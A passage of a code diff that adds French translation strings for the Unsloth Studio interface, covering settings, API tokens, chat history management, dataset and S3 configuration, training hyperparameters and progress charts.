+      photoPersistErrorTitle: "Impossible d'enregistrer la photo de profil",
+      photoPersistErrorDescription:
+        "Photo mise à jour pour cette session, mais elle pourrait ne pas persister après rechargement.",
+      photoUpdateErrorTitle: "Impossible de mettre à jour la photo de profil",
+      imageUseError: "Impossible d'utiliser cette image.",
+    },
+    appearance: {
+      title: "Apparence",
+      description: "L'apparence d'Unsloth Studio sur cet appareil.",
+      theme: {
+        title: "Thème",
+        label: "Palette de couleurs",
+        description: "Clair, sombre ou selon votre système.",
+        system: "Système",
+        light: "Clair",
+        dark: "Sombre",
+      },
+      language: {
+        title: "Langue",
+        label: "Langue d'affichage",
+        description: "La langue utilisée par Unsloth.",
+        autoDetect: "Détection automatique",
+      },
+      layout: {
+        title: "Disposition",
+        compactSidebar: "Épingler la barre latérale par défaut",
+        compactSidebarDescription:
+          "Garder la barre latérale déployée au lieu de la réduire en icônes.",
+      },
+    },
+    resources: {
+      title: "Système",
+      description:
+        "Surveillez le matériel et le stockage de ce serveur Studio.",
+      liveUpdates: "Mises à jour en direct",
+      floatingWindow: "Fenêtre flottante",
+      disableOverlay: "Désactiver la superposition",
+      liveMonitor: {
+        title: "Moniteur en direct",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "Disque",
+        vram: "VRAM",
+        cpuCores: "{logical} cœurs logiques / {physical} physiques",
+        currentLoad: "Charge actuelle",
+        free: "{value} libre",
+        noGpu: "Aucun GPU visible",
+      },
+      gpu: {
+        title: "Périphériques GPU",
+        noGpu:
+          "Aucun GPU visible détecté. Les ressources CPU uniquement sont affichées ci-dessus.",
+        unknownDevice: "GPU inconnu",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} utilisé",
+        free: "{value} libre",
+        total: "{value} au total",
+      },
+      storage: {
+        title: "Stockage",
+        systemDisk: "Disque système",
+        diskUsage: "{used} utilisé / {total}",
+        diskFree: "{free} libre",
+        modelsFolder: "Dossier des modèles",
+        modelsFolderDescription: "Emplacement de stockage des modèles téléchargés.",
+        openAction: "Ouvrir",
+        copyAction: "Copier le chemin",
+        copied: "Chemin copié",
+        openError: "Impossible d'ouvrir le dossier",
+        copyError: "Impossible de copier le chemin",
+      },
+      environment: {
+        title: "Environnement",
+        backend: "Backend",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "Temps de fonctionnement",
+        processMemory: "Mémoire du processus",
+        notInstalled: "Non installé",
+        unknown: "Inconnu",
+      },
+    },
+    chat: {
+      title: "Discussion",
+      description: "Gérez l'historique des discussions stocké sur cet appareil.",
+      modelDisclaimer: "Afficher l'avertissement du modèle",
+      modelDisclaimerDescription:
+        'Afficher "Les LLM peuvent faire des erreurs" sous la zone de discussion.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "Réduire les blocs HTML",
+        collapseHtmlBlocksDescription:
+          "Le mode Canvas réduit automatiquement le HTML complet. Activez ceci pour aussi réduire les documents HTML encadrés lorsque Canvas est désactivé.",
+        allowNetworkAccess: "Autoriser l'accès réseau du canvas",
+        allowNetworkAccessDescription:
+          "Permettre aux aperçus de canvas de charger scripts, styles, polices, médias et ressources réseau depuis des CDN. Gardez désactivé pour des aperçus entièrement hors ligne.",
+      },
+      data: "Données",
+      exportHistory: "Exporter l'historique des discussions",
+      exportHistoryDescription:
+        "Télécharger toutes les discussions et messages au format JSON.",
+      exportAction: "Exporter",
+      exportingAction: "Exportation...",
+      exportConversations: "Exporter Récents et Projets",
+      exportConversationsDescription:
+        "Télécharger Récents ou Récents plus les discussions de projet au format JSONL brut, CSV ou JSONL ShareGPT, combinés ou par discussion.",
+      exportConversationsAction: "Exporter",
+      exportScopeRecents: "Récents",
+      exportScopeAll: "Récents + Projets",
+      exportCombinedSuffix: "(combiné)",
+      exportPerChatSuffix: "(par discussion)",
+      importChats: "Importer des discussions",
+      importChatsDescription:
+        "Importer un export JSONL, NDJSON ou CSV dans Récents.",
+      importChatsAction: "Importer",
+      importNoConversations: "Aucune conversation trouvée dans le fichier.",
+      importedOneChat: "1 conversation importée dans Récents.",
+      importedChatCount: "{count} conversations importées dans Récents.",
+      importFailed: "Échec de l'importation.",
+      clearHistory: "Effacer l'historique des discussions",
+      clearHistoryDescription:
+        "Supprimer l'historique des discussions de cet appareil.",
+      clearAction: "Effacer",
+      clearAllChats: "Effacer toutes les discussions",
+      clearAllChatsDescription:
+        "Supprimer définitivement toutes les discussions de cet appareil.",
+      noChatsToClear: "Aucune discussion à effacer.",
+      clearOneChatDescription:
+        "Supprimer définitivement la seule discussion de cet appareil.",
+      clearChatCountDescription:
+        "Supprimer définitivement les {count} discussions de cet appareil.",
+      clearChatsAction: "Effacer les discussions",
+      clearOneChatTitle: "Effacer 1 discussion ?",
+      clearChatsTitle: "Effacer {count} discussions ?",
+      clearChatsConfirmDescription:
+        "Supprime définitivement toutes les discussions de cet appareil. Cette action est irréversible.",
+      clearingAction: "Effacement...",
+      clearOneChatAction: "Effacer 1 discussion",
+      clearChatCountAction: "Effacer {count} discussions",
+      clearedAllChats: "Toutes les discussions ont été effacées",
+      clearedOneChat: "1 discussion effacée",
+      clearedChatCount: "{count} discussions effacées",
+      someChatsCouldNotBeCleared:
+        "Certaines discussions n'ont pas pu être effacées",
+      chatsClearedRemainOne:
+        "{clearedCount} discussions effacées ; 1 discussion reste. Veuillez réessayer.",
+      chatsClearedRemain:
+        "{clearedCount} discussions effacées ; {remainingCount} discussions restent. Veuillez réessayer.",
+      oneChatClearedRemain:
+        "1 discussion effacée ; {remainingCount} discussions restent. Veuillez réessayer.",
+      oneChatClearedRemainOne:
+        "1 discussion effacée ; 1 discussion reste. Veuillez réessayer.",
+      storageClearFailedOne:
+        "Un effacement du stockage a échoué ; 1 discussion peut rester. Veuillez réessayer.",
+      storageClearFailed:
+        "Un effacement du stockage a échoué ; {count} discussions peuvent rester. Veuillez réessayer.",
+      failedToClearChats: "Échec de l'effacement des discussions",
+    },
+    connections: {
+      title: "Connexions",
+      description: "Gérez les fournisseurs et les connexions externes.",
+    },
+    apiKeys: {
+      title: "API",
+      description: "Accédez à Unsloth via l'API compatible OpenAI.",
+      readDocs: "Lire la documentation de l'API",
+      noAccess: "Aucun accès API pour le moment.",
+      accessTokens: "Tokens d'accès",
+      loadError: "Impossible de charger l'accès API.",
+      createError: "Impossible de créer le token d'accès.",
+      revokeError: "Impossible de révoquer le token d'accès.",
+      never: "Jamais",
+      tokenNamePlaceholder: "Nom du token (ex. production)",
+      newAccessTokenName: "Nom du nouveau token d'accès",
+      createToken: "Créer un token",
+      creating: "Création...",
+      newTokenCreated: "Nouveau token d'accès créé",
+      accessTokenCopied: "Token d'accès copié",
+      copyAccessToken: "Copier le token d'accès",
+      copyNow: "Copiez maintenant - il ne sera plus affiché.",
+      usageExamples: "Exemples d'utilisation",
+      usageTools: "Outils",
+      exampleCurlTools: "curl + outils",
+      examplePythonTools: "Python + outils",
+      exampleJavaScriptTools: "JavaScript + outils",
+      exampleCurlAdvanced: "curl + avancé",
+      examplePythonAdvanced: "Python + avancé",
+      exampleJavaScriptAdvanced: "JavaScript + avancé",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "HTTPS sécurisé",
+      secureHttpsHint:
+        "Le port 0.0.0.0 reste accessible globalement. Pour une sécurité complète, lancez Unsloth Studio avec --secure afin de n'exposer que ce lien HTTPS.",
+      copyTunnelUrl: "Copier l'URL du tunnel",
+      copySnippet: "Copier l'extrait",
+      copy: "Copier",
+      copied: "Copié",
+      setupDocs: "Documentation de configuration :",
+      codingAgents: "Agents de codage",
+      codingAgentsHint:
+        "Lancez un agent de codage sur ce serveur. Il utilise le modèle chargé ; un serveur local génère automatiquement une clé API, un serveur distant l'inclut dans la commande.",
+      codingAgentsSwap:
+        "Remplacez claude par codex, openclaw, opencode, hermes ou pi.",
+      codingAgentDetected: "Installé sur cette machine",
+      codingAgentsDetectedHint: "Détecté sur cette machine : {agents}.",
+      relativeNever: "jamais",
+      relativeJustNow: "à l'instant",
+      relativeHoursAgo: "il y a {count} h",
+      relativeDaysAgo: "il y a {count} j",
+      relativeMonthsAgo: "il y a {count} mois",
+      relativeYearsAgo: "il y a {count} an(s)",
+      expired: "expiré",
+      today: "aujourd'hui",
+      inDays: "dans {count} j",
+      created: "Créé {value}",
+      used: "Utilisé {value}",
+      expires: "Expire {value}",
+      actionsFor: "Actions pour {name}",
+      copyPrefix: "Copier le préfixe",
+      revokeToken: "Révoquer le token",
+      revokeTitle: 'Révoquer le token d\'accès "{name}" ?',
+      revokeDescription:
+        "Les applications utilisant ce token perdent immédiatement l'accès. Cette action est irréversible.",
+      revokeAction: 'Révoquer "{name}"',
+      revoking: "Révocation...",
+    },
+    about: {
+      title: "À propos",
+      description:
+        "Documentation, notes de version, retours et informations de build.",
+      studioVersion: "Version d'Unsloth",
+      packageVersion: "Version du paquet",
+      llamaCppVersion: "Version de llama.cpp",
+      hardware: "Matériel",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "Mise à jour",
+      help: "Aide",
+      documentation: "Documentation",
+      releaseNotes: "Notes de version",
+      whatsNew: "Nouveautés",
+      feedback: "Retours",
+      reportIssue: "Signaler un problème",
+      license: {
+        sectionTitle: "Licence",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "Open source sous licence GNU AGPL v3.0.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Sous licence Apache 2.0.",
+      },
+      dangerZone: "Zone de danger",
+      shutDownStudio: "Arrêter Unsloth Studio",
+      shutDownStudioDescription:
+        "Arrête le serveur Unsloth et met fin à votre session.",
+      shutDown: "Arrêter",
+      update: {
+        title: "Mettre à jour Unsloth Studio",
+        commandText: "Texte de {label}",
+        copied: "Copié",
+        copyCommand: "Copier la commande",
+        commandCopied: "{label} copié",
+        copyNamedCommand: "Copier {label}",
+        checkingInstall: "Vérification du mode d'installation d'Unsloth...",
+        installIntro: "Pour installer ou mettre à jour Unsloth :",
+        localUpdateHeading: "Mise à jour locale",
+        installCommandUnix: "Commande d'installation macOS/Linux",
+        installCommandWindows: "Commande d'installation Windows",
+        localInstallDetected:
+          "Installation locale détectée. Mettez à jour depuis votre checkout d'origine pour éviter de le remplacer par PyPI.",
+        pullThenUpdate:
+          "Récupérez les dernières modifications, puis lancez l'installateur local :",
+        gitPullCommand: "commande git pull",
+        localInstallerCommand: "commande de l'installateur local",
+        sourceInstallDetected:
+          "Installation depuis la source ou un paquet VCS détectée. Réinstallez depuis le chemin local d'origine ou l'URL Git.",
+        repoCheckoutFallback:
+          "Si vous avez encore le checkout du dépôt, lancez l'installateur local depuis celui-ci :",
+        restartAfterUpdate: "Redémarrez Unsloth après la mise à jour.",
+        desktopManaged:
+          "L'application de bureau maintient son backend intégré à jour et vous avertira lorsqu'une nouvelle version sera disponible.",
+        unknownInstall:
+          "Impossible de détecter le mode d'installation d'Unsloth. Pour les installations via installateur ou PyPI, utilisez les commandes ci-dessus.",
+        localCheckout:
+          "Pour les installations depuis un checkout local, lancez l'installateur local depuis ce checkout :",
+        docs: "Documentation d'installation :",
+        docsInstall: "Installation",
+        docsUpdating: "Mise à jour",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "Entraîner",
+    title: "Studio de fine-tuning",
+    subtitles: {
+      configure: "Configurer et démarrer l'entraînement",
+      trainingInProgress: "Entraînement en cours",
+      viewPastRuns: "Voir les entraînements passés",
+      viewingPastRun: "Consultation d'un entraînement passé",
+    },
+    tabs: {
+      configure: "Configurer",
+      currentRun: "Entraînement actuel",
+      history: "Historique",
+    },
+    loadingRuntime: "Chargement de l'environnement d'entraînement...",
+    backToHistory: "Retour à l'historique",
+    sections: {
+      model: "Modèle",
+      dataset: "Jeu de données",
+      params: "Paramètres",
+      training: "Entraînement",
+      charts: "Graphiques",
+      progress: "Progression de l'entraînement",
+    },
+    configure: {
+      title: "Configurer",
+      description:
+        "Choisissez un modèle, un jeu de données et les paramètres d'entraînement.",
+      startTraining: "Démarrer l'entraînement",
+      starting: "Démarrage...",
+      loadingModel: "Chargement du modèle...",
+      checkingDataset: "Vérification du jeu de données...",
+      trainingConfig: "Configuration d'entraînement",
+    },
+    model: {
+      title: "Modèle",
+      description: "Sélectionnez le modèle de base et la méthode d'entraînement",
+      fasterTrainingBadge: "Entraînement 2x plus rapide",
+      baseModel: "Modèle de base",
+      localModel: "Modèle local",
+      localModelTooltip:
+        "Chemin vers un modèle téléchargé localement ou un dépôt HF personnalisé.",
+      scanningLocalAndCachedModels:
+        "Analyse des modèles locaux et en cache...",
+      scanning: "Analyse...",
+      scanningLocalModels: "Analyse des modèles locaux...",
+      noLocalModelsFound: "Aucun modèle local trouvé",
+      noLocalModelsFoundManual:
+        "Aucun modèle local trouvé. Saisissez le chemin manuellement.",
+      failedToLoadLocalModels: "Échec du chargement des modèles locaux",
+      hfCache: "Cache HF",
+      customFolders: "Dossiers personnalisés",
+      localDir: "Répertoire local",
+      huggingFaceModel: "Modèle Hugging Face",
+      huggingFaceModelTooltip:
+        "Recherchez des modèles Hugging Face ou choisissez dans notre liste recommandée.",
+      searchModels: "Rechercher des modèles...",
+      searching: "Recherche...",
+      noModelsFound: "Aucun modèle trouvé",
+      needsVram: "Nécessite ~{vram} Go de VRAM (GPU : {gpu} Go)",
+      tightVram: "~{vram} Go de VRAM (juste sur {gpu} Go)",
+      vramEstimate: "~{vram} Go de VRAM",
+      method: "Méthode",
+      methodTooltip:
+        "QLoRA utilise la quantification 4 bits pour la VRAM la plus faible. LoRA utilise 16 bits. Full met à jour tous les poids. CPT (Continued Pretraining) entraîne sur du texte brut pour adapter le modèle à un nouveau domaine sans formatage de discussion.",
+      readMore: "En savoir plus",
+      fullFineTune: "Fine-tune complet",
+      checkingToken: "Vérification du token...",
+      getOrUpdateToken: "Obtenir ou mettre à jour le token",
+      huggingFaceTokenOptional: "Token Hugging Face (facultatif)",
+      continuedPretraining: "Pré-entraînement continu",
+      localModels: "Modèles locaux",
+      localModelsFound: "{count} modèles locaux/en cache trouvés",
+      loadingLocalModels: "Chargement des modèles locaux...",
+    },
+    dataset: {
+      title: "Jeu de données",
+      description: "Sélectionnez ou téléversez des données d'entraînement",
+      source: "Source du jeu de données",
+      chooseDataset: "Choisir un jeu de données",
+      chooseDatasetTooltip:
+        "Utilisez les onglets de la fenêtre pour basculer entre Hugging Face et les sorties de recettes locales.",
+      localTab: "Local",
+      searchHuggingFaceDatasets: "Rechercher des jeux de données Hugging Face...",
+      searchLocalDatasets: "Rechercher des jeux de données locaux...",
+      searching: "Recherche...",
+      noDatasetsFound: "Aucun jeu de données trouvé",
+      loadingLocalDatasets: "Chargement des jeux de données locaux...",
+      failedToLoadLocalDatasets:
+        "Échec du chargement des jeux de données locaux.",
+      noLocalDatasetsYet: "Aucun jeu de données local pour le moment.",
+      noLocalDatasetsMatchSearch:
+        "Aucun jeu de données local ne correspond à la recherche.",
+      openDataRecipes: "Ouvrir Data Recipes",
+      browsingSource:
+        "Navigation dans {browsing}. La sélection actuelle reste {current}.",
+      localDatasets: "Jeux de données locaux",
+      localDataset: "Jeu de données local",
+      localDatasetRows: " / {count} lignes",
+      huggingFaceDataset: "Jeu de données Hugging Face",
+      localDatasetMetadata: "Métadonnées du jeu de données local",
+      dataRecipeOutput: "Sortie de Data Recipe.",
+      rows: "Lignes",
+      columns: "Colonnes",
+      batches: "Batchs",
+      updated: "Mis à jour",
+      evalDataset: "Jeu de données d'évaluation",
+      uploading: "Téléversement...",
+      upload: "Téléverser",
+      uploadEvalFile: "Téléverser un fichier d'évaluation",
+      evalDatasetDescription:
+        "Facultatif. Si non fourni, une petite portion sera prélevée sur les données d'entraînement.",
+      advanced: "Avancé",
+      targetFormat: "Format cible",
+      targetFormatTooltip:
+        "Format de vos données d'entraînement. La détection automatique fonctionne pour la plupart des jeux de données.",
+      auto: "Auto",
+      rawText: "Texte brut",
+      trainSplitStart: "Début du split d'entraînement",
+      trainSplitStartTooltip:
+        "N'entraîner que sur un sous-ensemble de votre split d'entraînement en spécifiant un indice de ligne de départ (inclus, base 0). Laissez vide pour commencer à la première ligne.",
+      trainSplitEnd: "Fin du split d'entraînement",
+      trainSplitEndTooltip:
+        "Dernier indice de ligne à inclure du split d'entraînement (inclus, base 0). Par exemple, définissez Début à 0 et Fin à 99 pour entraîner sur les 100 premières lignes. Laissez vide pour utiliser toutes les lignes restantes.",
+      endPlaceholder: "Fin",
+      clear: "Effacer",
+      dropFileOrClick: "Déposez 1 fichier ici ou cliquez pour téléverser",
+      viewDataset: "Voir le jeu de données",
+      uploadFailed: "Échec du téléversement",
+      unknownError: "Erreur inconnue",
+      unsupportedFileType: "Type de fichier non pris en charge",
+      uploadOneFileType: "Téléversez un fichier {types}.",
+      datasetUploaded: "Jeu de données téléversé",
+      evalDatasetUploaded: "Jeu de données d'évaluation téléversé",
+      uploadOneFileAtATime: "Téléversez un fichier à la fois",
+      uploadSingleFileDescription:
+        "Le téléversement du jeu de données d'entraînement accepte un seul fichier.",
+      checkingToken: "Vérification du token...",
+      getOrUpdateToken: "Obtenir ou mettre à jour le token",
+      preview: "Aperçu du jeu de données",
+      split: "Split",
+      subset: "Sous-ensemble",
+      s3: {
+        title: "Configuration S3",
+        description:
+          "Charger des jeux de données .parquet, .json, .jsonl ou .csv depuis Amazon S3",
+        bucket: "Nom du bucket",
+        bucketPlaceholder: "mon-bucket-donnees-entrainement",
+        region: "Région AWS",
+        regionPlaceholder: "us-east-1",
+        prefix: "Préfixe de chemin",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip:
+          "Chemin facultatif dans le bucket vers vos fichiers de jeu de données",
+        accessKeyId: "ID de clé d'accès",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "Clé d'accès secrète",
+        secretAccessKeyPlaceholder: "Votre clé d'accès secrète AWS",
+        useIamRole: "Utiliser un rôle IAM",
+        useIamRoleTooltip:
+          "Utiliser les identifiants d'un rôle IAM au lieu de clés d'accès (recommandé pour EC2/SageMaker)",
+        testConnection: "Tester la connexion",
+        connectionSuccess: "Connexion au bucket S3 réussie",
+        connectionFailed: "Échec de la connexion au bucket S3",
+        comingSoon: "Intégration S3 bientôt disponible",
+        comingSoonDescription:
+          "Le chargement de jeux de données S3 nécessite boto3. Cette fonctionnalité est en cours de développement.",
+      },
+    },
+    params: {
+      title: "Paramètres",
+      description: "Configurez les hyperparamètres d'entraînement",
+      projectName: "Nom du projet",
+      optional: "Facultatif",
+      projectNameDescription:
+        "Utilisé dans les noms des dossiers de sortie d'entraînement, les valeurs d'export par défaut et l'historique.",
+      loraSettings: "Paramètres LoRA",
+      trainingHyperparameters: "Hyperparamètres d'entraînement",
+      maxSteps: "Nombre max d'étapes",
+      epochs: "Époques",
+      useMaxSteps: "Utiliser le nombre max d'étapes",
+      useEpochs: "Utiliser les époques",
+      maxStepsTooltip: "Remplace le nombre total d'étapes d'optimisation.",
+      epochsTooltip: "Nombre de passages complets sur le jeu de données.",
+      epochsDescription:
+        "Chaque époque est un passage complet sur votre jeu de données.",
+      maxStepsDescription:
+        "Limite l'entraînement à un nombre fixe d'étapes d'optimisation.",
+      contextLength: "Longueur de contexte",
+      contextLengthTooltip:
+        "Nombre maximal de tokens par échantillon d'entraînement.",
+      customContextLength: "Saisir une valeur personnalisée",
+      contextLengthDescription:
+        "Longueur de séquence maximale pour les échantillons d'entraînement",
+      learningRate: "Taux d'apprentissage",
+      learningRateTooltip:
+        "Taille du pas pour les mises à jour des poids. Des valeurs plus faibles entraînent plus lentement mais de manière plus stable.",
+      learningRateDescription:
+        "Recommandé : 2e-4 pour LoRA, 5e-5 pour CPT, 2e-5 pour le fine-tune complet",
+      embeddingLearningRate: "Taux d'apprentissage des embeddings",
+      embeddingLearningRateTooltip:
+        "Utilisé uniquement lorsque CPT entraîne embed_tokens. Les embeddings sont plus faciles à déstabiliser que les poids LoRA, ils nécessitent donc généralement un taux plus faible. Laissez vide pour utiliser lr/10 ; la plage typique est 2x à 10x plus petite que le taux principal. Augmentez-le seulement si l'adaptation du vocabulaire ou des tokens de domaine est trop lente.",
+      embeddingLearningRateDescription:
+        "Laissez vide pour utiliser lr/10 (recommandé). La plage typique est 2x à 10x plus petite que le taux d'apprentissage principal.",
+      rank: "Rang",
+      rankTooltip:
+        "Dimension des matrices de bas rang. Plus élevé = plus de capacité.",
+      alpha: "Alpha",
+      alphaTooltip:
+        "Facteur d'échelle pour les mises à jour LoRA. Généralement 2x le rang.",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "Probabilité de dropout pour les couches LoRA afin de réduire le surapprentissage.",
+      visionLayers: "Couches de vision",
+      languageLayers: "Couches de langage",
+      attentionModules: "Modules d'attention",
+      mlpModules: "Modules MLP",
+      targetModules: "Modules cibles",
+      enableLora: "Activer LoRA",
+      trainWithLora: "Entraîner avec LoRA",
+      stableRank: "Rang stable",
+      memoryEfficient: "Économe en mémoire",
+      optimization: "Optimisation",
+      schedule: "Planification",
+      memory: "Mémoire",
+      optimizer: "Optimiseur",
+      optimizerTooltip:
+        "Algorithme d'optimisation. Les variantes 8 bits réduisent l'usage mémoire. Fused est recommandé pour les modèles de vision.",
+      lrScheduler: "Planificateur de taux d'apprentissage",
+      lrSchedulerTooltip:
+        "Comment le taux d'apprentissage évolue au cours de l'entraînement. Linear décroît régulièrement ; cosine décroît selon une courbe.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8 bits",
+        pagedAdamw8bit: "Paged AdamW 8 bits",
+        adamwBnb8bit: "AdamW BNB 8 bits",
+        pagedAdamw32bit: "Paged AdamW 32 bits",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linéaire",
+        cosine: "Cosinus",
+      },
+      batchSize: "Taille de batch",
+      batchSizeTooltip:
+        "Échantillons traités par étape. Plus élevé utilise plus de VRAM.",
+      gradAccum: "Accumulation de gradient",
+      gradAccumTooltip:
+        "Simule des tailles de batch plus grandes sans VRAM supplémentaire.",
+      weightDecay: "Décroissance des poids",
+      weightDecayTooltip:
+        "Régularisation L2 pour prévenir le surapprentissage.",
+      warmupSteps: "Étapes de préchauffage",
+      warmupStepsTooltip:
+        "Augmenter progressivement le taux d'apprentissage au début de l'entraînement pour plus de stabilité.",
+      scheduleEpochsTooltip:
+        "Nombre de passages complets sur le jeu de données. Définissez 0 pour fonctionner par nombre max d'étapes.",
+      saveSteps: "Étapes de sauvegarde",
+      saveStepsTooltip:
+        "Enregistrer un checkpoint toutes les N étapes. 0 pour désactiver.",
+      evalSteps: "Étapes d'évaluation",
+      evalStepsTooltip:
+        "Fraction du nombre total d'étapes d'entraînement entre les évaluations (0-1). Définissez 0 pour désactiver l'évaluation. Ex. 0,01 = évaluer tous les 1 % d'étapes.",
+      seed: "Graine",
+      seedTooltip: "Graine aléatoire pour la reproductibilité.",
+      gradCheckpoint: "Checkpoint de gradient",
+      gradCheckpointTooltip:
+        "Échanger du calcul contre de la mémoire en recalculant les activations.",
+      none: "Aucun",
+      standard: "Standard",
+      enablePacking: "Activer le packing",
+      assistantCompletionsOnly: "Complétions de l'assistant uniquement",
+      readMore: "En savoir plus",
+    },
+    training: {
+      title: "Entraînement",
+      description: "Surveillez et contrôlez l'entraînement",
+      chartNoDataTitle: "Aucune donnée d'entraînement pour le moment",
+      chartNoDataDescription:
+        "Démarrez l'entraînement pour voir la progression de la perte",
+      startTraining: "Démarrer l'entraînement",
+      starting: "Démarrage...",
+      loadingModel: "Chargement du modèle...",
+      checkingDataset: "Vérification du jeu de données...",
+      configLabel: "Configuration d'entraînement",
+      upload: "Téléverser",
+      uploadConfigTooltip: "Charger une configuration YAML enregistrée",
+      save: "Enregistrer",
+      saveConfigTooltip: "Télécharger la configuration actuelle au format YAML",
+      reset: "Réinitialiser",
+      resetConfigTooltip: "Réinitialiser aux valeurs par défaut du modèle",
+      configLoaded: "Configuration chargée",
+      failedToLoadConfig: "Échec du chargement de la configuration",
+      invalidYamlFile: "Fichier YAML invalide",
+      failedToReadFile: "Échec de la lecture du fichier",
+      parametersReset: "Paramètres réinitialisés aux valeurs par défaut du modèle",
+      audioIncompatible:
+        "Ce modèle ne prend pas en charge l'audio. Passez à un modèle compatible audio ou choisissez un jeu de données sans audio.",
+      visionIncompatible:
+        "Un modèle textuel n'est pas compatible avec un jeu de données multimodal. Passez à un modèle de vision ou choisissez un jeu de données uniquement textuel.",
+      cancelTitle: "Annuler l'entraînement",
+      cancelDescription: "Voulez-vous annuler l'entraînement en cours ?",
+      continueAction: "Continuer l'entraînement",
+      cancelAction: "Annuler l'entraînement",
+      stopTitle: "Arrêter l'entraînement",
+      stopDescription:
+        "Choisissez comment vous souhaitez arrêter l'entraînement en cours.",
+      stopAction: "Arrêter",
+      stopping: "Arrêt...",
+      stopAndSave: "Arrêter et enregistrer",
+      compareInChat: "Comparer dans la discussion",
+      exportModel: "Exporter le modèle",
+      milestone: "Étape clé",
+      halfwayDone: "À mi-chemin. L'entraînement a dépassé 50 %.",
+      doneNextStep:
+        "Entraînement terminé. Étape suivante : comparer les sorties de base et affinées.",
+    },
+    history: {
+      title: "Historique",
+      emptyTitle: "Aucun entraînement pour le moment",
+      emptyDescription:
+        "Aucun entraînement pour le moment. Démarrez votre premier entraînement dans l'onglet Configurer.",
+      loadError: "Échec du chargement des entraînements",
+      deleteError:
+        "Échec de la suppression de l'entraînement. Veuillez réessayer.",
+      retry: "Réessayer",
+      loadMore: "Charger plus",
+      loading: "Chargement...",
+      loadingRun: "Chargement de l'entraînement...",
+      runNotFound: "Entraînement introuvable",
+      deleteTitle: "Supprimer l'entraînement ?",
+      deleteDescription:
+        "Cette action supprimera définitivement cet entraînement et toutes ses métriques. Elle est irréversible.",
+      runCount: "{count} entraînements",
+      oneRun: "1 entraînement",
+      resume: "Reprendre",
+      resumeTraining: "Reprendre l'entraînement",
+      resuming: "Reprise...",
+      deleteRun: "Supprimer l'entraînement",
+      loss: "Perte",
+      steps: "Étapes",
+      lossTrendSparkline: "Sparkline de tendance de la perte",
+      relativeJustNow: "à l'instant",
+      relativeMinutesAgo: "il y a {count} min",
+      relativeHoursAgo: "il y a {count} h",
+      relativeDaysAgo: "il y a {count} j",
+      status: {
+        completed: "Terminé",
+        stopped: "Arrêté",
+        error: "Erreur",
+        running: "En cours",
+        continued: "Poursuivi",
+      },
+      message: {
+        completed: "Entraînement terminé",
+        stopped: "Entraînement arrêté",
+        running: "Entraînement en cours",
+        errored: "Erreur d'entraînement",
+      },
+      copyPreviewLink: "Copier le lien d'aperçu",
+      previewLinkCopied: "Lien d'aperçu copié",
+      previewLinkCopyFailed: "Impossible de copier le lien",
+    },
+    charts: {
+      settings: "Paramètres des graphiques",
+      settingsDescription:
+        "Ajustez la présentation des graphiques pendant que l'entraînement continue.",
+      openSettings: "Ouvrir les paramètres des graphiques",
+      viewWindow: "Fenêtre d'affichage",
+      viewWindowDescription:
+        "Afficher uniquement les dernières étapes ou tout l'historique.",
+      window: "Fenêtre",
+      all: "Tout",
+      trainingLoss: "Perte d'entraînement",
+      trainingLossDescription: "Contrôlez les superpositions et le lissage EMA.",
+      smoothing: "Lissage",
+      smoothingDescription:
+        "Déplacez vers la droite pour plus de lissage. `0` = brut.",
+      showRawLoss: "Afficher la perte brute",
+      showSmoothedLoss: "Afficher la perte lissée",
+      showAverageLine: "Afficher la ligne moyenne",
+      scaleAndCleanup: "Échelle et nettoyage",
+      linear: "Linéaire",
+      log: "Log",
+      noClip: "Sans écrêtage",
+      clipP99: "Écrêter p99",
+      clipP95: "Écrêter p95",
+      lossAxis: "Axe de la perte",
+      gradientNormAxis: "Axe de la norme du gradient",
+      learningRateAxis: "Axe du taux d'apprentissage",
+      resetDefaults: "Réinitialiser par défaut",
+      loss: "Perte",
+      smoothed: "Lissé",
+      evalLoss: "Perte d'évaluation",
+      learningRate: "Taux d'apprentissage",
+      lr: "LR",
+      gradNorm: "Norme du gradient",
+      gradientNorm: "Norme du gradient",
+      step: "Étape {step}",
+      averageValue: "moy {value}",
+      waitingForFirstEvaluationStep:
+        "En attente de la première étape d'évaluation...",
+      evaluationNotConfigured: "Évaluation non configurée",
+      evalChartWillAppear:
+        "Le graphique apparaîtra une fois eval_steps atteint",
+      setEvalDatasetAndSteps:
+        "Définissez le jeu de données d'évaluation et eval_steps pour suivre la perte d'évaluation",
+    },
+    progress: {
+      title: "Progression de l'entraînement",
+      liveMetrics: "Métriques d'entraînement en direct",
+      exportGguf: "Exporter en GGUF",
+      openConfig: "Ouvrir la configuration d'entraînement",
+      configLabel: "Configuration d'entraînement",
+      hyperparams: "Hyperparamètres",
+      epochs: "Époques",
+      batchSize: "Taille de batch",
+      learningRate: "Taux d'apprentissage",
+      optimizer: "Optimiseur",
+      maxSteps: "Nombre max d'étapes",
+      contextLength: "Longueur de contexte",
+      warmupSteps: "Étapes de préchauffage",
+      rank: "Rang",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "Variante",
+      epoch: "Époque {value}",
+      percentComplete: "{percent} % terminé",
+      stepProgress: "Étape {current} / {total}",
+      loss: "Perte",
+      lr: "LR",
+      gradNorm: "Norme du gradient",
+      project: "Projet",
+      model: "Modèle",
+      method: "Méthode",
+      elapsed: "Écoulé : {value}",
+      eta: "ETA : {value}",
+      stepsPerSecond: "{value} étapes/s",
+      noStepsPerSecond: "-- étapes/s",
+      tokens: "Tokens : {value}",
+      gpuMonitor: "Moniteur GPU",
+      live: "En direct",
